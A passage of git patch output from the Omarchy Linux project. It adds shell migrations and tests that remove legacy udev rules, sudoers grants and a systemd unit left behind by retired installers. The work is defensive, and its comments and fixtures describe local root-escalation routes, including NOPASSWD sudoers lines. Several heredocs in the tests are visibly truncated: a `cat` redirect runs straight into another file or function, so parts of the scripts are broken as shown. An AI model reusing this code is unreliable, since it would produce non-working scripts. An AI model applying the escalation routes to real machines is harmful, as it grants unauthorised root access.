+1,229 @@ +#!/bin/bash + +set -euo pipefail + +source "$(dirname "$0")/base-test.sh" + +migration="$ROOT/migrations/1787946619.sh" +[[ -f $migration ]] || fail "the legacy power udev rule migration exists at $migration" + +test_dir=$(mktemp -d) +trap 'rm -rf "$test_dir"' EXIT + +mkdir -p "$test_dir/bin" + +# sudo runs the real command, so the removals act on the redirected rules +# directory below and the elevated calls land in the log beside it. +cat >"$test_dir/bin/sudo" <<'STUB' +#!/bin/bash + +printf 'sudo %s\n' "$*" >>"$CALLS" +exec "$@" +STUB + +cat >"$test_dir/bin/udevadm" <<'STUB' +#!/bin/bash + +printf 'udevadm %s\n' "$*" >>"$CALLS" +STUB + +chmod +x "$test_dir/bin/"* + +export CALLS="$test_dir/calls" + +rules_dir="$test_dir/rules.d" +home_dir="$test_dir/home" +power_rule="$rules_dir/99-power-profile.rules" +wifi_rule="$rules_dir/99-wifi-powersave.rules" + +reset_machine() { + rm -rf "$rules_dir" "$home_dir" + mkdir -p "$rules_dir" "$home_dir" +} + +run_migration() { + : >"$CALLS" + + HOME="$home_dir" \ + OMARCHY_UDEV_RULES_DIR="$rules_dir" \ + PATH="$test_dir/bin:$PATH" \ + bash -euo pipefail "$migration" >/dev/null +} + +reload_count() { + grep -cx 'udevadm control --reload' "$CALLS" || true +} + +# What Omarchy 3's unquoted heredoc actually left on disk: the installing user's +# home expanded into a rule root runs on every power_supply event. +write_vulnerable_power_rule() { + cat >"$power_rule" <<'RULE' +SUBSYSTEM=="power_supply", ATTR{type}=="Mains", RUN+="/usr/bin/systemd-run --no-block --collect --unit=omarchy-power-profile --property=After=power-profiles-daemon.service /home/someuser/.local/share/omarchy/bin/omarchy-powerprofiles-set" +SUBSYSTEM=="power_supply", ATTR{type}=="USB", RUN+="/usr/bin/systemd-run --no-block --collect --unit=omarchy-power-profile --property=After=power-profiles-daemon.service /home/someuser/.local/share/omarchy/bin/omarchy-powerprofiles-set" +RULE +} + +write_vulnerable_wifi_rule() { + cat >"$wifi_rule" <<'RULE' +SUBSYSTEM=="power_supply", ATTR{type}=="Mains", ATTR{online}=="0", RUN+="/home/someuser/.local/share/omarchy/bin/omarchy-wifi-powersave on" +SUBSYSTEM=="power_supply", ATTR{type}=="Mains", ATTR{online}=="1", RUN+="/home/someuser/.local/share/omarchy/bin/omarchy-wifi-powersave off" +RULE +} + +reset_machine +write_vulnerable_power_rule +run_migration + +[[ ! -e $power_rule ]] || + fail "migration removes a power profile rule that runs out of a user home" "$(cat "$power_rule")" +pass "migration removes a power profile rule that runs out of a user home" + +grep -q '^sudo rm -f .*99-power-profile\.rules$' "$CALLS" || + fail "migration removes the rule with elevated privileges" "$(cat "$CALLS")" +pass "migration removes the rule with elevated privileges" + +reset_machine +write_vulnerable_wifi_rule +run_migration + +[[ ! -e $wifi_rule ]] || + fail "migration removes a Wi-Fi power save rule that runs out of a user home" "$(cat "$wifi_rule")" +pass "migration removes a Wi-Fi power save rule that runs out of a user home" + +# udevd keeps running the rule it already parsed, so the file being gone from +# disk is only half the fix until it reloads. +(( $(reload_count) == 1 )) || + fail "migration reloads udev after removing a rule" "$(cat "$CALLS")" +pass "migration reloads udev after removing a rule" + +# Both files gone is still one machine-wide reload, not one per file. +reset_machine +write_vulnerable_power_rule +write_vulnerable_wifi_rule +run_migration + +[[ ! -e $power_rule && ! -e $wifi_rule ]] || + fail "migration removes both legacy rules in one pass" +(( $(reload_count) == 1 )) || + fail "migration reloads udev once for both removals" "$(cat "$CALLS")" +pass "migration removes both legacy rules and reloads udev once" + +# The second run is what every other account on the machine does, and what a +# user gets from running omarchy-migrate again. +run_migration + +(( $(reload_count) == 0 )) || + fail "migration does not reload udev on a second run" "$(cat "$CALLS")" +[[ ! -s $CALLS ]] || + fail "migration touches nothing on a second run" "$(cat "$CALLS")" +pass "migration is a no-op on a second run" + +reset_machine +run_migration + +[[ ! -s $CALLS ]] || + fail "migration touches nothing when the legacy rules are absent" "$(cat "$CALLS")" +pass "migration leaves a machine without the legacy rules alone" + +# A user who wrote their own rule under one of these names keeps it, even when +# the file talks about the legacy checkout. udev never runs a comment. +reset_machine +cat >"$power_rule" <<'RULE' +# Replaces the rule Omarchy used to install from +# /home/someuser/.local/share/omarchy/bin/omarchy-powerprofiles-set +#SUBSYSTEM=="power_supply", ATTR{type}=="Mains", RUN+="/home/someuser/.local/share/omarchy/bin/omarchy-powerprofiles-set" +SUBSYSTEM=="power_supply", ATTR{type}=="Mains", RUN+="/usr/local/bin/my-own-power-hook" +RULE +cat >"$wifi_rule" <<'RULE' +# Kept from the old local/share/omarchy setup, rewritten to my own script +SUBSYSTEM=="power_supply", ATTR{type}=="Mains", ATTR{online}=="1", RUN+="/usr/local/bin/my-own-wifi-hook off" +RULE +before=$(cat "$power_rule" "$wifi_rule") +run_migration + +[[ -e $power_rule && -e $wifi_rule ]] || + fail "migration keeps same-named rules that only mention the legacy path" +[[ $(cat "$power_rule" "$wifi_rule") == "$before" ]] || + fail "migration leaves the user's own rules byte for byte" +[[ ! -s $CALLS ]] || + fail "migration escalates nothing when it removes nothing" "$(cat "$CALLS")" +pass "migration keeps same-named rules that only mention the legacy path" + +# udev discards a '#' line before it ever looks for a trailing backslash, so the +# rule below the comment is live and root still runs it. `udevadm verify` on this +# exact shape, with a bogus key on the second line, reports the error on line 2. +# The file has to go. +reset_machine +cat >"$power_rule" <<'RULE' +# Disabled while I test the packaged rule: \ +SUBSYSTEM=="power_supply", ATTR{type}=="Mains", RUN+="/home/someuser/.local/share/omarchy/bin/omarchy-powerprofiles-set" +RULE +run_migration + +[[ ! -e $power_rule ]] || + fail "migration removes a rule left live under a commented continuation" "$(cat "$power_rule")" +pass "migration removes a rule left live under a commented continuation" + +# A comment that does not continue still hides nothing behind it: the file holds +# no active RUN+= at all and stays. +reset_machine +cat >"$power_rule" <<'RULE' +# SUBSYSTEM=="power_supply", ATTR{type}=="Mains", RUN+="/home/someuser/.local/share/omarchy/bin/omarchy-powerprofiles-set" +RULE +run_migration + +[[ -e $power_rule ]] || + fail "migration keeps a rule that is only ever mentioned in a comment" +pass "migration keeps a rule that is only ever mentioned in a comment" + +# The May 2026 rename left an intermediate variant under the old filename that +# already ran out of /usr/bin. It duplicates the packaged rule but is not the +# privilege escalation this migration exists to clear, so it is not ours to take. +reset_machine +cat >"$power_rule" <<'RULE' +SUBSYSTEM=="power_supply", ATTR{type}=="Mains", ATTR{online}=="1", RUN+="/usr/bin/systemd-run --no-block --collect --unit=omarchy-power-profile-ac --property=After=power-profiles-daemon.service /usr/bin/powerprofilesctl set performance" +RULE +run_migration + +[[ -e $power_rule ]] || + fail "migration keeps a legacy filename already repointed at /usr/bin" +pass "migration keeps a legacy filename already repointed at /usr/bin" + +# Homes are not all under /home, so the running user's own home counts too, and +# the argument the later variants passed must not hide the path. +reset_machine +cat >"$wifi_rule" <"$power_rule" <<'RULE' +SUBSYSTEM=="power_supply", ATTR{type}=="Mains", RUN+="/home/someuser/.local/share/omarchy/bin/omarchy-wifi-powersave on" +RULE +run_migration + +[[ -e $power_rule ]] || + fail "migration matches the binary the filename promises, not any home path" +pass "migration matches the binary the filename promises, not any home path" + +# udev resumes a continuation across a comment: `udevadm verify` on +# 'SUBSYSTEM=="power_supply" \' + "# c" + ', RUN+="..."' reports its style warning +# on line 1, so those three lines are one rule and the rule is live. +reset_machine +cat >"$power_rule" <<'RULE' +SUBSYSTEM=="power_supply", ATTR{type}=="Mains" \ +# split for readability +, RUN+="/home/someuser/.local/share/omarchy/bin/omarchy-powerprofiles-set" +RULE +run_migration + +[[ ! -e $power_rule ]] || + fail "migration removes a rule that continues across a comment" "$(cat "$power_rule")" +pass "migration removes a rule that continues across a comment" From 96ed473ce113d873e0cd395174ebf1b819c5817a Mon Sep 17 00:00:00 2001 From: acrogenesis Date: Sat, 29 Aug 2026 12:02:07 -0600 Subject: [PATCH 141/336] Remove privileged files left behind by retired Omarchy installers Three installers that no longer exist each left a root-owned file on disk, and nothing in Omarchy has ever removed any of them. /etc/sudoers.d/first-run granted the installing account passwordless sudo for the rest of the first boot, unrestricted /usr/bin/systemctl included from 2025-10-14 on. omarchy-first-run clears its first-run.mode guard before eight set -e steps and only deletes the grant after them, so any failure in between strands it with nothing left to retry. /etc/sudoers.d/tsui named whatever $(which tsui) resolved to for the installing user, normally a binary under their own home that the vendor script had just written without sudo. /etc/systemd/system/omarchy-plymouth-shutdown.service ran an ExecStop under the installing user's home as uid 0 on every shutdown. Each file is judged against what the installer that wrote it actually produced. The first-run grant was rewritten eight times and only the last four carry both Cmnd_Alias lines, so rather than key on those, every active line must be one the installer emitted and one of them must be its own self-cleanup. The shutdown unit is disabled but never stopped: stopping it is what would run the ExecStop being taken away. Generalize the migrations.md exception, which framed itself around pre-4 layout transitions and so did not cover installers retired on their own. --- agents/skills/migrations.md | 21 +- migrations/1788025225.sh | 256 ++++++++++ ...ired-installer-artifacts-migration-test.sh | 456 ++++++++++++++++++ 3 files changed, 723 insertions(+), 10 deletions(-) create mode 100644 migrations/1788025225.sh create mode 100755 test/shell.d/retired-installer-artifacts-migration-test.sh diff --git a/agents/skills/migrations.md b/agents/skills/migrations.md index 603a491d..2c97ebde 100644 --- a/agents/skills/migrations.md +++ b/agents/skills/migrations.md @@ -166,13 +166,14 @@ Omarchy 4.0 is upgraded through `bin/omarchy-upgrade-to-quattro`, not through th normal migration runner. Do not add compatibility migrations for old installer layouts; put pre-4 package-layout transition work in the upgrade command instead. -Clearing a pre-4 layout that is a security defect is the exception, and belongs in -a migration. The upgrade command only runs on a machine still making the 3 to 4 -crossing, so anything put there never reaches an install that crossed already — -and a file an old installer wrote with a vulnerability in it is still sitting on -those machines. The upgrade command finishes by running `omarchy-migrate` -(`run_post_upgrade_migrations`), so one migration reaches both populations; -a copy in the upgrade command would only be a second copy of the same predicate -to keep correct. Such a migration must name the defect it clears and match the -state the old installer actually produced, so a file the user wrote themselves is -left alone. +Clearing a privileged file that a retired installer left on disk is the exception, +and belongs in a migration whether or not that installer was part of a package +layout transition. The upgrade command only runs on a machine still making the 3 +to 4 crossing, so anything put there never reaches an install that crossed +already, and it never runs at all for an installer that was retired on its own — +while the file the installer wrote is still sitting on those machines. The upgrade +command finishes by running `omarchy-migrate` (`run_post_upgrade_migrations`), so +one migration reaches every population; a copy in the upgrade command would only +be a second copy of the same predicate to keep correct. Such a migration must name +the defect it clears and match what the old installer actually produced, so a file +an administrator wrote themselves is left alone. diff --git a/migrations/1788025225.sh b/migrations/1788025225.sh new file mode 100644 index 00000000..ce95b9bc --- /dev/null +++ b/migrations/1788025225.sh @@ -0,0 +1,256 @@ +echo "Remove privileged files left behind by retired Omarchy installers" + +sudoers_dir="${OMARCHY_SUDOERS_DIR:-/etc/sudoers.d}" +systemd_dir="${OMARCHY_SYSTEMD_SYSTEM_DIR:-/etc/systemd/system}" + +as_root() { + if (( EUID == 0 )); then + "$@" + else + sudo "$@" + fi +} + +# Three installers that no longer exist each left a root-owned file behind, and +# nothing in Omarchy has ever removed any of them. Each is judged against what +# the installer that wrote it actually produced, so a file of the same name that +# an administrator wrote themselves is left alone. +# +# Emit the lines a parser would act on: comments and blanks dropped, backslash +# continuations joined, and runs of whitespace collapsed so a reformatted copy +# still compares equal. Reads the body on stdin, because /etc/sudoers.d is 0750 +# root:root and the caller has to hand us an elevated read. +# +# Comments are tested before continuations are joined, which is the order every +# consumer here uses: udev's parse_file discards a '#' line without looking at a +# trailing backslash (`udevadm verify` on "# disabled \" plus a bogus key reports +# the error on line 2), sudo's toke.l comment rule consumes to the newline and +# clears its continuation flag, and systemd's config_parse tests the comment +# characters before appending to a continuation. Joining first would let a +# comment ending in a backslash swallow the live line beneath it. +# +# FORMAT is sudoers or systemd. systemd takes ';' as well as '#'. sudo does not +# treat every '#' as a comment: toke.l has INITIAL rules for ^#include and +# ^#includedir, and its comment pattern excludes '#' followed by a digit or +# -digit so those reach the ID token as a numeric uid user spec. Those lines are +# active directives, and a file carrying one must not read as though it held only +# generated lines. +active_lines() { + local format="$1" + local comments='#' + local line logical="" + + [[ $format == "systemd" ]] && comments='#;' + + while IFS= read -r line || [[ -n $line ]]; do + if [[ $line =~ ^[[:space:]]*[$comments] ]] && + ! { [[ $format == "sudoers" ]] && sudoers_hash_is_active "$line"; }; then + # The two consumers part company here. sudo ends the logical line at a + # comment and keeps what came before it, so `visudo -cf` reads a spec + # ending in a backslash, then a comment, then a second spec as two live + # specs; dropping the pending half would hide an administrator's grant and + # let this file read as though the installer had written all of it. systemd + # resumes the continuation instead: `systemd-analyze verify` on "ExecStop=\" + # + "; c" + a path resolves that path, so the pending half has to stay. + if [[ $format == "sudoers" ]]; then + emit_logical "$logical" + logical="" + fi + continue + fi + + if [[ $line == *\\ ]]; then + logical+="${line%\\} " + continue + fi + + emit_logical "$logical$line" + logical="" + done +} + +# One logical line, whitespace collapsed so a reformatted copy still compares +# equal, and nothing at all for a line that held only whitespace. +emit_logical() { + local -a parts + + read -ra parts <<<"$1" + if (( ${#parts[@]} )); then + printf '%s\n' "${parts[*]}" + fi +} + +sudoers_hash_is_active() { + local line="$1" + + [[ $line =~ ^[[:space:]]*#include[[:blank:]] ]] && return 0 + [[ $line =~ ^[[:space:]]*#includedir[[:blank:]] ]] && return 0 + [[ $line =~ ^[[:space:]]*#-?[0-9] ]] && return 0 + + return 1 +} + +# install/preflight/first-run-mode.sh (2025-08-25 to 2026-05-25) granted the +# installing account passwordless sudo for the rest of the first boot, including +# an unrestricted /usr/bin/systemctl from 2025-10-14 on -- enough to link and +# start a unit of the user's own, which is root. bin/omarchy-first-run was meant +# to delete the grant, but it clears its first-run.mode guard as the very first +# statement and only reaches the removal after eight set -e steps, two of which +# touch the network. Any failure in between leaves the grant on the machine with +# nothing left to retry it. +# +# The installer rewrote this file eight times, and only the last four carry both +# Cmnd_Alias lines, so keying on those would walk past the earlier ones. Instead +# require every active line to be one the installer itself emitted, plus at least +# one line that is unmistakably this grant: its own self-cleanup. One +# hand-written line anywhere in the file and it is not ours to delete. +first_run_sudoers_is_generated() { + local spec_pattern='^[^[:space:]]+ ALL=\(ALL\) NOPASSWD: (.+)$' + local marker_pattern='^/bin/rm -f /home/[^/]+/\.local/state/omarchy/first-run\.mode$' + local line command + local seen_any=0 seen_marker=0 + + while IFS= read -r line; do + seen_any=1 + + case "$line" in + "Cmnd_Alias SYMLINK_RESOLVED = /usr/bin/ln -sf /run/systemd/resolve/stub-resolv.conf /etc/resolv.conf") + continue + ;; + "Cmnd_Alias FIRST_RUN_CLEANUP = /bin/rm -f /etc/sudoers.d/first-run" | \ + "Cmnd_Alias FIRST_RUN_CLEANUP = /bin/rm -f /etc/sudoers.d/first-run, /bin/rm -f /etc/sudoers.d/99-omarchy-installer-reboot") + seen_marker=1 + continue + ;; + esac + + # Everything else the installer wrote is a user spec naming the installing + # account, whose name cannot be assumed here: it may since have been renamed + # or removed, and a second account runs this migration too. + if [[ ! $line =~ $spec_pattern ]]; then + return 1 + fi + command=${BASH_REMATCH[1]} + + case "$command" in + "/usr/bin/systemctl" | "/usr/bin/ufw" | "/usr/bin/ufw-docker" | \ + "/usr/bin/gtk-update-icon-cache" | "/usr/bin/udevadm" | \ + "/usr/bin/tee /etc/udev/rules.d/*" | "SYMLINK_RESOLVED") + continue + ;; + "FIRST_RUN_CLEANUP" | "/bin/rm -f /etc/sudoers.d/first-run") + seen_marker=1 + continue + ;; + esac + + if [[ $command =~ $marker_pattern ]]; then + seen_marker=1 + continue + fi + + return 1 + done < <(active_lines sudoers) + + (( seen_any && seen_marker )) +} + +# bin/omarchy-install-tailscale (2025-08-22 to 2026-02-02) ran +# "echo \"\$USER ALL=(ALL) NOPASSWD: \$(which tsui)\" | sudo tee +# /etc/sudoers.d/tsui" one line after installing tsui by piping a vendor script +# to bash with no sudo at all, so the path it resolved was usually the user's own +# ~/.local/bin. Overwrite that file, run sudo tsui, and you are root. The grant +# goes whatever the path turned out to be: the feature was dropped from Omarchy, +# and unrestricted NOPASSWD on a TUI that can shell out is an escalation from a +# root-owned path too. +tsui_sudoers_is_generated() { + local spec_pattern='^[^[:space:]]+ ALL=\(ALL\) NOPASSWD: ([^[:space:]]+)$' + local line command="" count=0 + + while IFS= read -r line; do + count=$(( count + 1 )) + if (( count > 1 )); then + return 1 + fi + if [[ ! $line =~ $spec_pattern ]]; then + return 1 + fi + command=${BASH_REMATCH[1]} + done < <(active_lines sudoers) + + if (( count == 1 )) && [[ ${command##*/} == "tsui" ]]; then + return 0 + fi + + return 1 +} + +# install/plymouth.sh wrote this unit for two days (2025-07-05 to 2025-07-07) +# with an unquoted heredoc, so ExecStop names the installing user's home. The +# unit is enabled WantedBy=multi-user.target, so systemd runs that path as uid 0 +# on every shutdown, with no hardware event needed to reach it. +plymouth_unit_runs_from_home() { + local binary="omarchy-plymouth-shutdown-sync" + local exec_stop_pattern='^ExecStop[[:space:]]*=[[:space:]]*(.*)$' + local home_pattern="^(/home/[^/]+|/root)/\\.local/share/omarchy/bin/$binary\$" + local line word + local -a words + + while IFS= read -r line; do + if [[ ! $line =~ $exec_stop_pattern ]]; then + continue + fi + + read -ra words <<<"${BASH_REMATCH[1]}" + if (( ! ${#words[@]} )); then + continue + fi + + # systemd reads -, @, +, ! and : ahead of the command as flags, not as part + # of the path it runs. + word=${words[0]} + while [[ $word == [-@+!:]* ]]; do + word=${word:1} + done + + if [[ $word =~ $home_pattern || $word == "$HOME/.local/share/omarchy/bin/$binary" ]]; then + return 0 + fi + done < <(active_lines systemd) + + return 1 +} + +# /etc/sudoers.d is 0750 root:root as shipped, and omarchy-migrate runs as the +# logged-in user, so an unelevated [[ -f ]] on a file in there is false whether or +# not the file exists and an unelevated read returns nothing. Both tests and both +# reads have to be elevated or this migration reports success having done nothing. +# One combined probe first, so the common case of neither file being present costs +# a single sudo call rather than one per file. +first_run_sudoers="$sudoers_dir/first-run" +tsui_sudoers="$sudoers_dir/tsui" + +if as_root test -e "$first_run_sudoers" -o -e "$tsui_sudoers"; then + if as_root test -f "$first_run_sudoers" && + as_root cat "$first_run_sudoers" | first_run_sudoers_is_generated; then + as_root rm -f "$first_run_sudoers" + fi + + if as_root test -f "$tsui_sudoers" && + as_root cat "$tsui_sudoers" | tsui_sudoers_is_generated; then + as_root rm -f "$tsui_sudoers" + fi +fi + +# /etc/systemd/system is 0755, so this one needs no elevation to look at. +plymouth_unit="$systemd_dir/omarchy-plymouth-shutdown.service" +if [[ -f $plymouth_unit ]] && plymouth_unit_runs_from_home <"$plymouth_unit"; then + # Disable, never stop. Stopping the unit is precisely what runs ExecStop, and + # ExecStop is the path this migration exists to keep root away from; disabling + # only drops the multi-user.target symlink. + as_root systemctl disable omarchy-plymouth-shutdown.service >/dev/null 2>&1 || true + as_root rm -f "$plymouth_unit" + # systemd keeps serving the copy it already loaded until it rereads the + # directory, so without this the unit is still there to run at shutdown. + as_root systemctl daemon-reload >/dev/null 2>&1 || true +fi diff --git a/test/shell.d/retired-installer-artifacts-migration-test.sh b/test/shell.d/retired-installer-artifacts-migration-test.sh new file mode 100755 index 00000000..d626fc33 --- /dev/null +++ b/test/shell.d/retired-installer-artifacts-migration-test.sh @@ -0,0 +1,456 @@ +#!/bin/bash + +set -euo pipefail + +source "$(dirname "$0")/base-test.sh" + +migration="$ROOT/migrations/1788025225.sh" +[[ -f $migration ]] || fail "the retired installer artifact migration exists at $migration" + +test_dir=$(mktemp -d) +trap 'rm -rf "$test_dir"' EXIT + +mkdir -p "$test_dir/bin" + +# sudo runs the real command, so the removals act on the redirected directories +# below and the elevated calls land in the log beside it. +cat >"$test_dir/bin/sudo" <<'STUB' +#!/bin/bash + +printf 'sudo %s\n' "$*" >>"$CALLS" +exec "$@" +STUB + +cat >"$test_dir/bin/systemctl" <<'STUB' +#!/bin/bash + +printf 'systemctl %s\n' "$*" >>"$CALLS" +STUB + +chmod +x "$test_dir/bin/"* + +export CALLS="$test_dir/calls" + +sudoers_dir="$test_dir/sudoers.d" +systemd_dir="$test_dir/systemd" +home_dir="$test_dir/home" +first_run="$sudoers_dir/first-run" +tsui="$sudoers_dir/tsui" +plymouth_unit="$systemd_dir/omarchy-plymouth-shutdown.service" + +reset_machine() { + rm -rf "$sudoers_dir" "$systemd_dir" "$home_dir" + mkdir -p "$sudoers_dir" "$systemd_dir" "$home_dir" +} + +run_migration() { + : >"$CALLS" + + HOME="$home_dir" \ + OMARCHY_SUDOERS_DIR="$sudoers_dir" \ + OMARCHY_SYSTEMD_SYSTEM_DIR="$systemd_dir" \ + PATH="$test_dir/bin:$PATH" \ + bash -euo pipefail "$migration" >/dev/null +} + +# /etc/sudoers.d is 0750 root:root on a real machine, so the migration has to +# escalate merely to see whether either grant is there. An empty call log is +# therefore the wrong invariant: what must be absent unless a file really is +# Omarchy's is a removal, or a unit being disabled or reloaded. +assert_changed_nothing() { + local label="$1" + + ! grep -qE '^(sudo rm|systemctl disable|systemctl daemon-reload)' "$CALLS" || + fail "$label" "$(cat "$CALLS")" + pass "$label" +} + +# The reads themselves must be elevated too. A plain [[ -f ]] or cat under a +# root-only directory returns nothing as the logged-in user, which would make the +# migration report success having looked at nothing at all. +assert_read_elevated() { + local file="$1" label="$2" + + grep -qF "sudo test -f $file" "$CALLS" || + fail "$label" "$(cat "$CALLS")" + grep -qF "sudo cat $file" "$CALLS" || + fail "$label" "$(cat "$CALLS")" + pass "$label" +} + +write_plymouth_unit() { + cat >"$plymouth_unit" <"$first_run" + run_migration + + [[ ! -e $first_run ]] || + fail "migration removes first-run grant variant $variant" "$(cat "$first_run")" +done +pass "migration removes every first-run sudoers grant the installer ever wrote" + +grep -q '^sudo rm -f .*/sudoers\.d/first-run$' "$CALLS" || + fail "migration removes the first-run grant with elevated privileges" "$(cat "$CALLS")" +pass "migration removes the first-run grant with elevated privileges" + +# The grant is only recognisable as Omarchy's because every line in it is one the +# installer emitted. One line an administrator added and the file is theirs. +reset_machine +cat >"$first_run" <<'EOF' +Cmnd_Alias FIRST_RUN_CLEANUP = /bin/rm -f /etc/sudoers.d/first-run +Cmnd_Alias SYMLINK_RESOLVED = /usr/bin/ln -sf /run/systemd/resolve/stub-resolv.conf /etc/resolv.conf +installer ALL=(ALL) NOPASSWD: /usr/bin/systemctl +installer ALL=(ALL) NOPASSWD: /usr/local/bin/our-own-deploy-script +installer ALL=(ALL) NOPASSWD: FIRST_RUN_CLEANUP +EOF +before=$(cat "$first_run") +run_migration + +[[ -e $first_run ]] || fail "migration keeps a first-run file carrying a hand-written rule" +[[ $(cat "$first_run") == "$before" ]] || + fail "migration leaves a hand-written first-run file byte for byte" +assert_changed_nothing "migration changes nothing for a hand-written first-run file" +pass "migration keeps a first-run file carrying a hand-written rule" + +# Nothing in this file ties it to Omarchy's first run: no self-cleanup line. +reset_machine +cat >"$first_run" <<'EOF' +installer ALL=(ALL) NOPASSWD: /usr/bin/ufw +installer ALL=(ALL) NOPASSWD: /usr/bin/ufw-docker +EOF +run_migration + +[[ -e $first_run ]] || + fail "migration keeps a same-named file that never cleaned itself up" +pass "migration keeps a same-named file that never cleaned itself up" + +# A rule continued onto the next line is one logical line, and a comment that is +# continued stays a comment for the whole of it. +reset_machine +cat >"$first_run" <<'EOF' +# Retired, keeping the old grant here for reference: \ +installer ALL=(ALL) NOPASSWD: /usr/bin/systemctl +Cmnd_Alias FIRST_RUN_CLEANUP = /bin/rm -f /etc/sudoers.d/first-run +installer ALL=(ALL) NOPASSWD: \ + /usr/local/bin/our-own-deploy-script +EOF +run_migration + +[[ -e $first_run ]] || + fail "migration reads a continued line as one rule and a continued comment as comment" +pass "migration reads a continued line as one rule and a continued comment as comment" + +reset_machine +printf 'installer ALL=(ALL) NOPASSWD: %s/.local/bin/tsui\n' "$home_dir" >"$tsui" +run_migration + +[[ ! -e $tsui ]] || fail "migration removes the tsui grant pointing into the user's home" +grep -q '^sudo rm -f .*/sudoers\.d/tsui$' "$CALLS" || + fail "migration removes the tsui grant with elevated privileges" "$(cat "$CALLS")" +pass "migration removes the tsui grant pointing into the user's home" + +# The feature is gone from Omarchy either way, and unrestricted NOPASSWD on a TUI +# that can shell out escalates from a root-owned path too. +reset_machine +printf 'installer ALL=(ALL) NOPASSWD: /usr/bin/tsui\n' >"$tsui" +run_migration + +[[ ! -e $tsui ]] || fail "migration removes the tsui grant wherever the path points" +pass "migration removes the tsui grant wherever the path points" + +reset_machine +cat >"$tsui" <<'EOF' +# Kept after Omarchy dropped tsui, extended for our operators +installer ALL=(ALL) NOPASSWD: /usr/bin/tsui +operator ALL=(ALL) NOPASSWD: /usr/bin/tsui +EOF +before=$(cat "$tsui") +run_migration + +[[ -e $tsui ]] || fail "migration keeps a tsui file an administrator extended" +[[ $(cat "$tsui") == "$before" ]] || fail "migration leaves an extended tsui file byte for byte" +assert_changed_nothing "migration changes nothing for an extended tsui file" +pass "migration keeps a tsui file an administrator extended" + +reset_machine +printf 'installer ALL=(ALL) NOPASSWD: /usr/bin/tailscale\n' >"$tsui" +run_migration + +[[ -e $tsui ]] || fail "migration keeps a lone grant for some other command" +pass "migration keeps a lone grant for some other command" + +reset_machine +write_plymouth_unit "/home/installer/.local/share/omarchy/bin/omarchy-plymouth-shutdown-sync" +run_migration + +[[ ! -e $plymouth_unit ]] || + fail "migration removes the shutdown unit that runs out of a user home" +pass "migration removes the shutdown unit that runs out of a user home" + +# Stopping the unit is exactly what runs ExecStop, which is the path being taken +# away from root. Disabling only drops the multi-user.target symlink. +! grep -q '^systemctl stop' "$CALLS" || + fail "migration never stops the unit, which would run ExecStop as root" "$(cat "$CALLS")" +pass "migration never stops the unit, which would run ExecStop as root" + +disable_at=$(grep -n '^systemctl disable omarchy-plymouth-shutdown\.service$' "$CALLS" | cut -d: -f1) +remove_at=$(grep -n '^sudo rm -f .*omarchy-plymouth-shutdown\.service$' "$CALLS" | cut -d: -f1) +reload_at=$(grep -n '^systemctl daemon-reload$' "$CALLS" | cut -d: -f1) +[[ -n $disable_at && -n $remove_at && -n $reload_at ]] || + fail "migration disables, removes, then reloads the unit" "$(cat "$CALLS")" +(( disable_at < remove_at && remove_at < reload_at )) || + fail "migration disables before removing and reloads last" "$(cat "$CALLS")" +pass "migration disables the unit, removes it, then reloads systemd in that order" + +# Homes are not all under /home. +reset_machine +write_plymouth_unit "$home_dir/.local/share/omarchy/bin/omarchy-plymouth-shutdown-sync" +run_migration + +[[ ! -e $plymouth_unit ]] || + fail "migration removes a shutdown unit rooted in a home outside /home" +pass "migration removes a shutdown unit rooted in a home outside /home" + +reset_machine +write_plymouth_unit "/usr/bin/omarchy-plymouth-shutdown-sync" +run_migration + +[[ -e $plymouth_unit ]] || + fail "migration keeps a same-named unit that runs a packaged command" +assert_changed_nothing "migration changes nothing for a packaged shutdown unit" +pass "migration keeps a same-named unit that runs a packaged command" + +# systemd takes ';' as a comment too, and an ExecStop behind one runs nothing. +reset_machine +cat >"$plymouth_unit" <<'EOF' +[Service] +Type=oneshot +; ExecStop=/home/installer/.local/share/omarchy/bin/omarchy-plymouth-shutdown-sync +ExecStop=/usr/bin/true +EOF +run_migration + +[[ -e $plymouth_unit ]] || fail "migration keeps a unit whose home ExecStop is commented out" +pass "migration keeps a unit whose home ExecStop is commented out" + +reset_machine +run_migration + +assert_changed_nothing "migration changes nothing when no retired artifact is present" +pass "migration leaves a machine without any retired artifact alone" + +# All three at once, then the same run again: what a second account on the +# machine does, and what running omarchy-migrate twice does. +reset_machine +printf '%s\n' "${first_run_variants[-1]}" >"$first_run" +printf 'installer ALL=(ALL) NOPASSWD: /usr/bin/tsui\n' >"$tsui" +write_plymouth_unit "/home/installer/.local/share/omarchy/bin/omarchy-plymouth-shutdown-sync" +run_migration + +[[ ! -e $first_run && ! -e $tsui && ! -e $plymouth_unit ]] || + fail "migration clears all three retired artifacts in one pass" +pass "migration clears all three retired artifacts in one pass" + +run_migration + +assert_changed_nothing "migration changes nothing on a second run" +pass "migration is a no-op on a second run" + +# sudo does not treat every '#' as a comment. plugins/sudoers/toke.l matches +# ^#include and ^#includedir as directives in the INITIAL state, and its comment +# rule excludes '#' followed by a digit or -digit so those reach the ID token as a +# numeric uid user spec -- sudoers(5) says the same. Dropping such a line as a +# comment would let a file that still carries an active directive read as though +# it held only generated lines, and be deleted. +for directive in \ + '#include /etc/sudoers.local' \ + '#includedir /etc/sudoers.d.local' \ + '#1000 ALL=(ALL) NOPASSWD: ALL' \ + '#-1000 ALL=(ALL) NOPASSWD: ALL'; do + reset_machine + { + printf '%s\n' "$directive" + printf '%s\n' "${first_run_variants[-1]}" + } >"$first_run" + before=$(cat "$first_run") + run_migration + + [[ -e $first_run ]] || + fail "migration keeps a first-run file carrying the active directive $directive" + [[ $(cat "$first_run") == "$before" ]] || + fail "migration leaves a first-run file with $directive byte for byte" + pass "migration keeps a first-run file carrying the active directive $directive" + + reset_machine + { + printf '%s\n' "$directive" + printf 'installer ALL=(ALL) NOPASSWD: /usr/bin/tsui\n' + } >"$tsui" + before=$(cat "$tsui") + run_migration + + [[ -e $tsui ]] || + fail "migration keeps a tsui file carrying the active directive $directive" + [[ $(cat "$tsui") == "$before" ]] || + fail "migration leaves a tsui file with $directive byte for byte" + pass "migration keeps a tsui file carrying the active directive $directive" +done + +# A sudoers comment ending in a backslash does not swallow the line beneath it: +# toke.l's comment rule consumes to the newline and clears the continuation flag. +# Joining before testing for a comment would hide this administrator's grant. +reset_machine +cat >"$tsui" <<'EOF' +# retired, kept for reference \ +ops ALL=(ALL) NOPASSWD: /usr/bin/tsui +installer ALL=(ALL) NOPASSWD: /usr/bin/tsui +EOF +before=$(cat "$tsui") +run_migration + +[[ -e $tsui ]] || + fail "migration keeps a tsui file whose second grant survives a commented continuation" +[[ $(cat 